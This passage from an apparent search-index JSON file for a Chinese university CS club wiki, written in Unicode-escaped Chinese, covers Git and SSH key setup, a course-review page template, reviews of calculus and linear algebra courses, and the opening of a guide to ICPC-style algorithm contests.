    general: \u901a\u8bc6\u8bfe\nouter: \u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\nbasic: \u6570\u7406\u57fa\u7840\u8bfe\nculture\uff1a\u6587\u5316\u7d20\u8d28\u8bfe\nmajor\uff1aCS \u4e13\u4e1a\u7c7b\u8bfe\u7a0b\nlabs\uff1a\u5b66\u6821\u5404\u4e2a\u5b9e\u9a8c\u5ba4\u7684\u6280\u672f\u6808\u4ecb\u7ecd\u548c\u9879\u76ee\uff08\u5305\u62ec\u8001\u5e08\u7684\u5b9e\u9a8c\u5ba4\uff09\ncompetition\uff1a\u8ba1\u7b97\u673a\u7ade\u8d5b\u76f8\u5173\nsalon\uff1a\u4ff1\u4e50\u90e8\u53ef\u516c\u5f00\u7684\u5206\u4eab\u4f1a\u6587\u6863\nCTF-WP\uff1a\u4ff1\u4e50\u90e8\u53c2\u52a0\u7684CTF\u6bd4\u8d5b\u9898\u89e3\n
    "},{"location":"manual/#git","title":"\u6709\u5173Git\u7684\u4f7f\u7528","text":""},{"location":"manual/#git_1","title":"git\u4e0b\u8f7d","text":"

    \u5b98\u7f51\u4e0b\u8f7d https://git-scm.com/

    \u5b89\u88c5\u5b8c\u6253\u5f00bash\u8f93\u5165 git\u5373\u53ef\u67e5\u770b\u662f\u5426\u6b63\u5e38

    "},{"location":"manual/#gitgithubgitee","title":"git\u548cgithub\u548cgitee\u7684\u5173\u7cfb","text":"

    git\u662f\u7ba1\u7406\u4ee3\u7801\u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u8bb0\u5f55\u6e90\u7801\u7684\u5386\u53f2\uff0c\u672c\u5730

    github\u548cgitee\u90fd\u662f\u6258\u7ba1\u4ed3\u5e93\uff0c\u5728\u7ebf

    \u4f7f\u7528git\u53ef\u4ee5\u65b9\u4fbf\u7684\u63a8\u9001\u4ee3\u7801\u5230\u8fdc\u7a0b\u4ed3\u5e93\uff0c\u4e5f\u53ef\u4ee5\u65b9\u4fbf\u7684\u8fdb\u884c\u591a\u4eba\u534f\u4f5c

    "},{"location":"manual/#git_2","title":"Git\u7684\u914d\u7f6e","text":"

    \u9996\u5148\uff0c\u8981\u914d\u7f6e\u7535\u8111\u7684ssh key

    \u6253\u5f00bash/cmd/powershell

    ssh-keygen -t rsa -C \"<email>\"\n

    \u8fd9\u4e2aemail\u5e94\u8be5\u5bf9\u5e94\u4f60\u7684github/gitee\u90ae\u7bb1\uff0c\u4e8b\u5b9e\u4e0a\u4e24\u4e2a\u6258\u7ba1\u5e73\u53f0\u7528\u4e00\u6837\u7684\u5c31\u884c\uff08\u4e8b\u5b9e\u4e0a-C\u53c2\u6570\u53ef\u4ee5\u4e0d\u6dfb\u52a0

    \u6572\u4e09\u6b21\u56de\u8f66\u4e00\u8def\u5230\u5e95\u5c31\u884c\uff08\u53ef\u4ee5\u8f93\u5165\u6587\u4ef6\u540d/\u5bc6\u7801\uff0c\u4f46\u662f\u4e0d\u662f\u5fc5\u8981\u7684\uff09

    \u8fd9\u65f6\u5019\u4f1a\u5728\u4f60\u7684\u7528\u6237\u76ee\u5f55\u4e0b\u7684.ssh\u6587\u4ef6\u5939\u91cc\u751f\u6210\u4e00\u4e2aid_rsa \uff08\u79c1\u94a5\uff09 id_rsa.pub\uff08\u516c\u94a5\uff09\uff0c\u6211\u4eec\u4f7f\u7528\u516c\u94a5

    cat .ssh/id_rsa.pub\n

    \u83b7\u53d6\u547d\u4ee4\u884c\u8f93\u51fa\u7684\u516c\u94a5\u5185\u5bb9\uff0c\u5168\u90e8\u590d\u5236

    \u767b\u9646github\uff0c\u8fdb\u5165\u5230\u4e2a\u4eba\u7684Settings

    \u6dfb\u52a0sshkey\uff0c\u76f4\u63a5\u7c98\u8d34\u521a\u521a\u7684\u516c\u94a5\u5c31\u884c\uff0c\u786e\u8ba4\u3002

    \u6ca1\u4ec0\u4e48\u95ee\u9898\u7684\u8bdd\u4e00\u5c01\u90ae\u4ef6\u4f1a\u53d1\u5230\u4f60\u7684\u90ae\u7bb1\u544a\u77e5\u4f60\u6dfb\u52a0\u4e86\u8fd9\u4e2a\u516c\u94a5\u3002\u73b0\u5728\uff0c\u7406\u8bba\u4e0a\u4f60\u8fd9\u53f0\u7535\u8111\u5c31\u80fd\u8fde\u63a5\u5230github\u4e86

    ssh -T git@github.com\n

    \u5982\u679c\u6362\u53f0\u7535\u8111\uff0c\u540c\u6837\u7684\u6d41\u7a0b\u4e5f\u5f97\u8d70\u4e00\u904d

    \u63a5\u4e0b\u6765\u914d\u7f6egit

    \u8fd8\u662f\u5728\u547d\u4ee4\u884c\uff08\u63a8\u8350\u7528git\u7684bash\uff09

    git config --global user.name \"your_github_username\" \ngit config --global user.email \"your_email\"\n

    \u5176\u4e2d\u7528\u6237\u540d\u662f\u4f60\u6ce8\u518cgithub\u7684\u8d26\u53f7\u540d\u5b57

    \u90ae\u7bb1\u662f\u6ce8\u518c\u4f7f\u7528\u7684\u90ae\u7bb1\uff0c\u6ca1\u4ec0\u4e48\u95ee\u9898\u5c31\u548c\u4e0a\u9762\u516c\u94a5\u7528\u7684\u4e00\u6837

    git config --global --list\n

    \u53ef\u4ee5\u770b\u5230\u81ea\u5df1\u7684\u914d\u7f6e

    "},{"location":"manual/#_8","title":"\u5982\u4f55\u8fde\u63a5\u8fdc\u7a0b","text":""},{"location":"manual/#_9","title":"\u672c\u5730\u9879\u76ee\u5230\u8fdc\u7a0b","text":"

    \u5728github\u4e2d\u65b0\u5efa\u4e00\u4e2a\u4ed3\u5e93\uff0c\u4ec0\u4e48\u90fd\u4e0d\u6dfb\u52a0

    git init #\u521d\u59cb\u5316git \u751f\u6210\u4e00\u4e2a.git\u6587\u4ef6\u5939\u5728\u5f53\u524d\u76ee\u5f55,\u9ed8\u8ba4\u521b\u5efamaster\u5206\u652f\ngit add . #\u6dfb\u52a0\u6587\u4ef6\u5230\u6682\u5b58\u533a\uff0c.\u4ee3\u8868\u6240\u6709\u6587\u4ef6\ngit commit -m \"your commit\"\ngit remote add origin <your_ssh_url> #\u5efa\u8bae\u4f7f\u7528ssh url,\u539f\u56e0\u4e0b\u9762\u6709\u8bb2\ngit push -u origin master #\u63a8\u9001\u8fdc\u7a0b\uff0c\u4ee5\u540e\u7528git push\u5c31\u884c\n

    \u8fd9\u6837\u5728github\u9875\u9762\u4e0a\u4f60\u5e94\u8be5\u80fd\u770b\u5230\u4f60\u7684\u6dfb\u52a0\u7684\u6587\u4ef6\u4e86

    "},{"location":"manual/#_10","title":"\u8fdc\u7a0b\u9879\u76ee\u5230\u672c\u5730\u5de5\u4f5c","text":"
    git clone <http_url OR ssh_url>\ncd example #\u8fdb\u5165\u9879\u76ee\u6587\u4ef6\u5939\ngit pull #\u6bcf\u6b21\u5f00\u542f\u4f60\u7684\u5de5\u4f5c\u524d\uff0c\u68c0\u67e5\u662f\u5426\u662f\u6700\u65b0\u7684\ngit checkout master #\u5207\u6362\u5230master\u5206\u652f \u5728\u6211\u4eec\u7684\u7ad9\u70b9 \u8fd9\u4e2a\u5206\u652f\u662fmain\ngit add . #\u6dfb\u52a0\u6587\u4ef6\u5230\u6682\u5b58\u533a\uff0c.\u4ee3\u8868\u6240\u6709\u6587\u4ef6\ngit commit -m \"your commit\"\n

    \u4ee5\u4e0a\u64cd\u4f5c\u90fd\u662f\u6b63\u5e38\u64cd\u4f5c

    \u4f46\u662f\u8fd9\u65f6\u5019\u63a8\u9001\uff0c\u53ef\u80fd\u4f1a\u9047\u5230\u8fd9\u6837\u7684\u95ee\u9898\uff1a

    \u9274\u6743\u5931\u8d25\uff1agithub\u79fb\u9664\u4e86\u5bc6\u7801\u9a8c\u8bc1

    \u8fd9\u4e2a\u65f6\u5019\u5b9e\u9645\u4e0a\u5c31\u662f\u4e0a\u6587\u8981\u4f7f\u7528ssh\u7684\u95ee\u9898

    \u89e3\u51b3\u529e\u6cd5\u5982\u4e0b

    git remote -v #\u53ef\u4ee5\u770b\u5230\u7684\u786egit remote\u73b0\u5728\u662fhttp url \u56e0\u4e3aclone\u7528\u7684http\ngit remote rm origin\ngit reamote add origin git@github.com:cyan4run/example.git #\u6dfb\u52a0ssh\u7684\u8fdc\u7a0b\ngit remote -v #\u68c0\u67e5\u4e00\u4e0b\n

    \u7136\u540e\u6109\u5feb\u7684\u63a8\u9001\u5230\u4ed3\u5e93

    git push -u origin master #master\u662f\u8fde\u63a5\u7684\u8fdc\u7a0b\u5206\u652f\uff0c\u800c\u5728\u6211\u4eec\u7684\u7ad9\u70b9\u4e2d\uff0c\u8fd9\u4e2a\u5206\u652f\u662fmain\ngit push #\u7b2c\u4e00\u6b21\u63a8\u9001\u4ee5\u540e\u4ee5\u540e\u53ef\u4ee5\u7528\u8fd9\u4e2a\n

    \u53e6\u5916\u7684\u89e3\u51b3\u529e\u6cd5\u662f\uff0c\u7528token\u66ff\u4ee3\u4f60\u7684\u5bc6\u7801\uff0c\u4e0d\u4ecb\u7ecd\u4e86\uff0c\u53bbsetting\u6dfb\u52a0\u5c31\u884c

    "},{"location":"manual/#_11","title":"\u5173\u4e8e\u591a\u4eba\u534f\u4f5c","text":"

    \u5c06\u591a\u4eba\u534f\u4f5cfork\u5230\u81ea\u5df1\u7684\u8d26\u53f7\u4ed3\u5e93\u4e0b\u4ee5\u540e\uff0c\u64cd\u4f5c\u548c \u8fdc\u7a0b\u9879\u76ee\u5230\u672c\u5730\u5de5\u4f5c \u76f8\u540c\uff0c\u53c2\u89c1\u4e0a\u6587

    \u63a8\u9001\u5230\u81ea\u5df1\u7684\u4ed3\u5e93\u4ee5\u540e\uff0c\u8bf7\u63d0\u4ea4pull request\u7b49\u5f85\u591a\u4eba\u534f\u4f5c\u4ed3\u5e93\u7ba1\u7406\u5458\u7684\u5ba1\u6838\uff0c\u5373\u53ef\u5408\u5e76\u5230\u4e3b\u5206\u652f\u5b8c\u6210\u4e00\u6b21\u8d21\u732e

    "},{"location":"template/","title":"<\u8bfe\u7a0b\u540d\u79f0>","text":"CS <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> AI <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> IS <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> SE <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> \u7d2b\u4e01\u9999 <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee>

    \u8bf7\u6ce8\u610f\u76ee\u5f55\u7ed3\u6784\u3002

    \u8981\u60f3\u5728\u53f3\u4fa7\u6e32\u67d3\u51fa\u76ee\u5f55 \u5fc5\u987b\u4ec5\u6709\u4e00\u4e2a\u4e00\u7ea7\u6807\u9898\u6216\u8005\u4ece\u4e8c\u7ea7\u6807\u9898\u5f80\u4e0b\u4e66\u5199

    "},{"location":"template/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    <\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9>

    "},{"location":"template/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    <\u5148\u4fee\u8981\u6c42(\u6ca1\u6709\u5c31\u5199\u65e0\u6216\u8005\u7565\u53bb\u8fd9\u4e00\u9879)>

    "},{"location":"template/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"<\u6559\u5e081><\u6559\u5e082>

    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>

    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>

    Note

    \u5982\u679c\u53ea\u6709\u4e00\u4e2a/\u7ec4\u8001\u5e08\uff0c\u6216\u8005\u8001\u5e08\u4e4b\u95f4\u5dee\u522b\u4e0d\u5927\uff0c\u53ef\u4ee5\u76f4\u63a5\u5199\u6587\u672c\u3002\u5426\u5219\u5efa\u8bae\u4ee5\u8fd9\u79cd\u5f62\u5f0f\u6765\u5199\uff1a

    === \"<\u6559\u5e081>\"\n\n    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>\n\n=== \"<\u6559\u5e082>\" \n\n    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>\n
    \u6ce8\u610f\u6559\u5e08\u5de6\u53f3\u7684\u5f15\u53f7\uff0c\u4ee5\u53ca\u6bb5\u843d\u5185\u5bb9\u8981\u5168\u90e8\u7f29\u8fdb 4 \u7a7a\u683c\u3002

    "},{"location":"template/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    <\u6559\u6750\u540d>

    (\u53ef\u9009)<\u5bf9\u6559\u6750\u7684\u8bc4\u4ef7\uff08\u5982\u662f\u5426\u7528\u6765\u5e03\u7f6e\u4f5c\u4e1a\uff0c\u4e0a\u8bfe\u6240\u8bb2\u4e0e\u6559\u6750\u7ed3\u5408\u662f\u5426\u7d27\u5bc6\uff0c\u662f\u5426\u53ef\u4ee5\u901a\u8fc7\u6559\u6750\u81ea\u4e3b\u5b66\u4e60\u7b49\uff09>

    "},{"location":"template/#_6","title":"\u5206\u6570\u6784\u6210","text":"<\u6559\u5e081><\u6559\u5e082>

    <\u5206\u6570\u6784\u6210\uff0c\u53ef\u5177\u4f53\u4ecb\u7ecd\u5404\u90e8\u5206\uff0c\u5982\u4f5c\u4e1a\u60c5\u51b5\u3001\u5b9e\u9a8c\u5185\u5bb9\u53ca\u5f62\u5f0f\u3001\u8003\u8bd5\u8303\u56f4\u53ca\u5f62\u5f0f\u7b49>

    <\u5206\u6570\u6784\u6210\uff0c\u53ef\u5177\u4f53\u4ecb\u7ecd\u5404\u90e8\u5206\uff0c\u5982\u4f5c\u4e1a\u60c5\u51b5\u3001\u5b9e\u9a8c\u5185\u5bb9\u53ca\u5f62\u5f0f\u3001\u8003\u8bd5\u8303\u56f4\u53ca\u5f62\u5f0f\u7b49>

    Note

    \u540c\u4e0a\uff0c\u5982\u679c\u5404\u6559\u5b66\u73ed\u5206\u6570\u6784\u6210\u4e00\u81f4\u5219\u53ef\u4ee5\u76f4\u63a5\u5199\u6587\u672c\uff0c\u5426\u5219\u5efa\u8bae\u540c\u4e0a\u5f62\u5f0f\u3002

    "},{"location":"template/#_7","title":"<\u5176\u4ed6\u53ef\u9009\u9879\u76ee>","text":"

    \u5305\u62ec \u63a8\u8350\u4e66\u5355\u3001\u53c2\u8003\u7b14\u8bb0\u3001\u5176\u4ed6\u8d44\u6e90\u3001\u8bfe\u7a0b\u5b66\u4e60\u5efa\u8bae\u3001\u4e2a\u4eba\u8bc4\u8bba\u3001\u540e\u7eed\u8bfe\u7a0b \u7b49\uff0c\u6bcf\u4e00\u4e2a\u5360\u4e00\u4e2a\u4e8c\u7ea7\u6807\u9898\uff08##\uff09

    \u53ef\u4ee5\u5c06\u5176\u4ed6\u6587\u4ef6\u7c7b\u578b\u7684\u8d44\u6599\uff08\u5c3d\u91cf\u4e0d\u8981\u592a\u5927\uff09\u4e0a\u4f20\u5230\u540c\u4e00\u76ee\u5f55\u4e2d\uff0c\u7136\u540e\u5728\u9875\u9762\u91cc\u6dfb\u52a0\u6307\u5411\u8d44\u6599\u7684\u94fe\u63a5\uff08[\u6587\u5b57](\u76f8\u5bf9\u8def\u5f84)\uff09

    Note

    \u53ef\u4ee5\u53c2\u8003\u5176\u4ed6\u5df2\u7ecf\u57fa\u672c\u5b8c\u6210\u7684\u9875\u9762\u7684 markdown \u6e90\u7801

    "},{"location":"CTF-WP/","title":"\u4ecb\u7ecd","text":"

    WP

    "},{"location":"basic/calculus%281%29/","title":"\u5fae\u79ef\u5206\uff081\uff09","text":"SE <\u4e13\u4e1a\u5fc5\u4fee>"},{"location":"basic/calculus%281%29/#_1","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    \u4e00\u6821\u4e09\u533a\u6574\u7684\u5fae\u79ef\u5206\u5206\u4e86\u4e00\u5806\u7c7b\uff0c\u5176\u5b9e\u5c31\u662f\u539f\u6709\u7684\u5185\u5bb9\u5220\u5220\u6539\u6539\uff0c\u5220\u6539\u7684\u5730\u65b9\u8fd8\u4e0d\u4e00\u6837\u3002SE\u73b0\u884c\u4f7f\u7528\u7684\u5fae\u79ef\u5206B\uff0c\u4e3b\u8981\u5185\u5bb9\u6d89\u53ca\u51fd\u6570\u4e0e\u6781\u9650\uff0c\u5bfc\u6570\u4e0e\u5fae\u5206\uff0c\u5fae\u5206\u4e2d\u503c\u5b9a\u7406\u4e0e\u5bfc\u6570\u7684\u5e94\u7528\uff0c\u4e0d\u5b9a\u79ef\u5206\uff0c\u5b9a\u79ef\u5206\uff08\u4e0d\u8bb2\u8fd0\u7528\u5b9a\u79ef\u5206\u89e3\u51b3\u7ecf\u6d4e\u95ee\u9898\uff09\uff0c\u5fae\u5206\u65b9\u7a0b\uff08\u8bb2\u5230\u53ef\u964d\u9636\u7684\u9ad8\u9636\u5fae\u5206\u65b9\u7a0b\uff09\uff0c\u8003\u8bd5\u8bfe\uff0c\u53605\u5b66\u5206

    "},{"location":"basic/calculus%281%29/#_2","title":"\u5148\u4fee\u8981\u6c42","text":"

    \u9ad8\u4e2d\u6570\u5b66

    "},{"location":"basic/calculus%281%29/#_3","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u6768\u82b3\u8212\u76d6\u660e\u4e45\u90b9\u6653\u73b2\u4e8e\u4f73\u4f73\u4e8e\u6218\u534e

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    "},{"location":"basic/calculus%281%29/#_4","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    "},{"location":"basic/calculus%281%29/#_5","title":"\u5206\u6570\u6784\u6210","text":"\u6768\u82b3\u8212\u76d6\u660e\u4e45\u90b9\u6653\u73b2\u4e8e\u4f73\u4f73\u4e8e\u6218\u534e

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    "},{"location":"basic/calculus%281%29/#_6","title":"\u8350\u4e66","text":"

    Warning

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    "},{"location":"basic/calculus%281%29/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

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    "},{"location":"basic/discrete/","title":"\u96c6\u5408\u8bba\u4e0e\u56fe\u8bba","text":"SE <\u4e13\u4e1a\u5fc5\u4fee>"},{"location":"basic/discrete/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    "},{"location":"basic/discrete/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    "},{"location":"basic/lin-algebra/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u7ebf\u6027\u4ee3\u6570\u4e0e\u7a7a\u95f4\u89e3\u6790\u51e0\u4f55

    \u53cd\u6b63\u6211\u770b\u4e0d\u61c2\uff0c\u8ddf\u540c\u6d4e\u5dee\u4e0d\u591a\u7684\u6c34\u5e73\uff0c\u4e66\u540e\u9898\u524d\u51e0\u7ae0\u8fd8\u7b97\u6b63\u5e38\uff0c\u8d8a\u5f80\u540e\u8d8a\u504f\u5411\u7406\u8bba\u8bc1\u660e\uff0c\u8ddf\u8003\u8bd5\u5c31\u5173\u7cfb\u4e0d\u5927\u4e86\uff0c\u4f46\u662f\u8001\u5e08\u8fd8\u7ed9\u8bb2

    \u7ebf\u6027\u4ee3\u6570\u4e0e\u7a7a\u95f4\u89e3\u6790\u51e0\u4f55\u540c\u6b65\u8f85\u5bfc\u4e60\u9898\u96c6

    \u548c\u5fae\u79ef\u5206\u5c0f\u7d2b\u4e00\u6837\uff0c\u4e5f\u8bb8\u5728\u4e0d\u4e45\u7684\u5c06\u6765\u4f1a\u88ab\u53d6\u4ee3

    \u8fd9\u91cc\u7684\u9898\u6bd4\u8f83\u6b63\u5e38\uff0c\u8001\u5e08\u4e5f\u4f1a\u4e0a\u8bfe\u62bd\u65f6\u95f4\u8bb2\u4e00\u8bb2

    "},{"location":"basic/lin-algebra/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u5415\u656c\u4eae

    \u8d44\u6599\u7f3a\u5931

    "},{"location":"basic/lin-algebra/#_7","title":"\u8350\u4e66","text":"

    Introduction to Linear Algebra

    MIT\u7684Gilbert Strang\u7684\u529b\u4f5c\uff0c\u4e5f\u7b97\u662f\u4e00\u672c\u8001\u4e66\u3002\u54c8v\u56fe\u4e66\u9986\u6570\u5b66\u533a\u5c31\u5269\u4e00\u672c\u4e86\uff0c\u7f51\u4e0a\u4e70\u539f\u7248\u8981\u4e03\u767e\u591a\uff0c\u8fd8\u662f\u770b\u7535\u5b50\u7248\u5427\u3002\u5f88\u591a\u4eba\u8bf4\u8fd9\u672c\u4e66\u7528\u65b9\u7a0b\u7ec4\u5f15\u5165\u4f1a\u597d\u61c2\u4e00\u70b9\u513f

    Linear Algebra with Applications

    \u987e\u540d\u601d\u4e49\u8fd9\u672c\u4e66\u504f\u5411\u5e94\u7528\uff08\u5176\u5b9e\u5c31\u662f\u89e3\u65b9\u7a0b\uff09\uff0c\u8ddfMATLAB\u6302\u94a9\u6bd4\u8f83\u7d27\uff0c\u5927\u81f4\u5f15\u5165\u601d\u8def\u548c\u4e0a\u5934\u90a3\u672c\u5dee\u4e0d\u592a\u591a

    "},{"location":"basic/lin-algebra/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMA15003

    "},{"location":"competition/","title":"\u4ecb\u7ecd","text":"

    \u8ba1\u7b97\u673a\u76f8\u5173\u7684\u6bd4\u8d5b\u4ecb\u7ecd\uff0c\u56e0\u4e3a\u8ba1\u7b97\u673a\u62e5\u6709\u5f88\u591a\u7684\u7ade\u8d5b\uff0c\u4e0d\u4ec5\u4ec5\u662f\u4fdd\u7814\u76f8\u5173\u548c\u699c\u5355\u8d5b\u4e8b\uff0c\u4e5f\u6709\u5f88\u591a\u6709\u542b\u91d1\u91cf\u7684\u6bd4\u8d5b\u3002

    \u5e0c\u671b\u8fd9\u4e2a\u4ecb\u7ecd\u80fd\u591f\u5e2e\u52a9\u5230\u5927\u5bb6\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/","title":"\u54c8v\u7b97\u6cd5\u7ade\u8d5b\u76f8\u5173\u6307\u5317","text":"

    Author: ASDFO\uff0cWandering

    \u6ce8\u610f\uff0c\u76f8\u5173\u8d5b\u4e8b\u5956\u9879\u7406\u8bba\u4e0a\u90fd\u53ef\u4ee5\u4f5c\u4e3a\u521b\u65b0\u521b\u4e1a\u5206\u7684\u8ba4\u5b9a\u4f9d\u636e\uff0c\u6700\u7ec8\u8ba4\u5b9a\u9700\u8981\u6839\u636e\u5b66\u751f\u624b\u518c\u548c\u6559\u5b66\u79d8\u4e66\u7684\u6700\u7ec8\u51b3\u5b9a\u3002

    2023\u5e74\u5f00\u59cb\uff0c\u6bd5\u4e1a\u6240\u9700\u521b\u65b0\u521b\u4e1a\u5206 + \u793e\u4f1a\u5b9e\u8df5\u5b66\u5206\u4e3a6\u5206\u3002

    2023\u5e74\uff0cICPC\u6bd4\u8d5b\u3001CCPC\u6bd4\u8d5b\u3001CCF-CSP\u8003\u8bd5\u3001\u84dd\u6865\u676f\u6bd4\u8d5b\u3001\u5929\u68af\u8d5b\u65e5\u7a0b_\u84dd\u6865\u676f2023\u5e74\u6bd4\u8d5b\u65f6\u95f4-CSDN\u535a\u5ba2 \u4e00\u4e9b\u65f6\u95f4\u53c2\u8003\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_1","title":"\u56e2\u961f\u8d5b","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#icpc","title":"ICPC","text":"

    \u8d5b\u4e8b\u5b98\u7f51\uff1aThe ICPC International Collegiate Programming Contest ICPC\u5317\u4eac\u603b\u90e8 (pku.edu.cn)

    \u5206\u4e3a\u7f51\u7edc\u8d5b\u3001\u7701\u8d5b\u3001\u533a\u57df\u8d5b\u3001\u4e1c\u4e9a\u6d32\u533a\u603b\u51b3\u8d5b\u3001WorldFinal

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_2","title":"\u8d5b\u4e8b\u65f6\u95f4\u8282\u70b9\uff08\u6309\u65f6\u95f4\u987a\u5e8f\uff09","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_3","title":"\u7f51\u7edc\u8d5b","text":"

    \u4e00\u822c\u662f\u6bcf\u5e749\u6708\u4efd\u7b2c\u4e8c\u5468\u548c\u7b2c\u4e09\u5468\u7684\u5468\u672b\u4e3e\u529e\uff0c\u6839\u636e\u4e24\u573a\u6bd4\u8d5b\u6bcf\u6821\u6392\u540d\u7b2c\u4e00\u7684\u961f\u4f0d\u7684\u6392\u540d\u7684\u6700\u597d\u6210\u7ee9\u8fdb\u884c\u5f52\u5e76\u6392\u5e8f\uff0c\u5f97\u5230\u5b66\u6821\u7684\u5168\u56fd\u6392\u540d\uff0c\u4ee5\u6b64\u786e\u5b9a\u5404\u4e2a\u8d5b\u7ad9\u7684\u521d\u59cb\u540d\u989d\u5206\u914d\u3002\uff08\u4e0d\u77e5\u9053\u4ec0\u4e48\u662f\u5f52\u5e76\u6392\u5e8f\u7684\u53ef\u4ee5\u8bf4\u662f\u548c\u8fd9\u4e2a\u7ade\u8d5b\u65e0\u7f18\u65e0\u5206\u4e86\uff09

    \u5173\u4e8e\u8d5b\u4e8b\u540d\u989d\u5206\u914d\uff1a

    \u6709\u7684\u8d5b\u7ad9\u662f\u5168\u56fd\u6392\u540d1-40 3\u4e2a\u540d\u989d\u00a040-80\u00a02\u4e2a\u540d\u989d\u00a080-120\u00a01\u4e2a\u540d\u989d

    \u6709\u7684\u662f1-50\u00a02\u4e2a\u540d\u989d\u00a050-100\u00a01\u4e2a\u540d\u989d

    \u4e0d\u7ba1\u600e\u4e48\u8bf4\uff0c\u6253\u7684\u8d8a\u597d\uff0c\u540d\u989d\u8d8a\u591a\uff0c\u5f97\u5230\u7684\u953b\u70bc\u673a\u4f1a\u4e5f\u8d8a\u591a\uff0c\u5f3a\u8005\u6052\u5f3a\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_4","title":"\u533a\u57df\u8d5b","text":"

    2023\u5e74\u7684\u65f6\u95f4\u5b89\u6392\uff0c\u6bcf\u5e74\u4f3c\u4e4e\u4e5f\u662f\u8fd9\u51e0\u4e2a\u8d5b\u7ad9\uff0c\u540d\u989d\u548c\u7f51\u7edc\u8d5b + \u9080\u8bf7\u8d5b + \u5176\u4ed6\u56e0\u7d20\u7efc\u5408\u4e0b\u6765\u7684\u540d\u989d\u6709\u5173\uff0c\u7136\u540e\u6821\u961f\u6309\u7167\u7f51\u7edc\u8d5b\u6210\u7ee9\u4ece\u9ad8\u5230\u4f4e\u62a5\u540d\uff0c\u6bcf\u652f\u961f\u4f0d\u53ef\u4ee5\u62a5\u540d\u4e24\u573a\u6bd4\u8d5b\u3002

    \u5173\u4e8e\u8d5b\u7ad9\u7684\u9009\u62e9\uff0c\u548c\u80fd\u5426\u83b7\u5956\u6709\u6240\u5173\u7cfb\uff0c\u4e00\u573a\u6bd4\u8d5b\u7684\u547d\u9898\u597d\u574f\uff0c\u8d5b\u7ad9\u9009\u62e9\u7684\u5f3a\u961f\u6709\u591a\u5c11\uff0c\u90fd\u4f1a\u51b3\u5b9a\u4f60\u662f\u5426\u80fd\u591f\u5728\u5f53\u573a\u6bd4\u8d5b\u83b7\u5956\uff0c\u4f46\u662f\u8fd9\u662f\u53e6\u5916\u7684\u8bdd\u9898\uff0c\u4f60\u591f\u5f3a\u4e00\u5207\u90fd\u4e0d\u662f\u95ee\u9898\u3002

    \u5173\u4e8e\u62a5\u9500\uff1a\u62ff\u5956\u4e4b\u540e\u53ef\u4ee5\u62a5\u9500\u4e24\u6b21\u6bd4\u8d5b\u4e2d\u82b1\u9500\u6700\u9ad8\u7684\u4e00\u6b21\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ec-final","title":"EC-Final","text":"

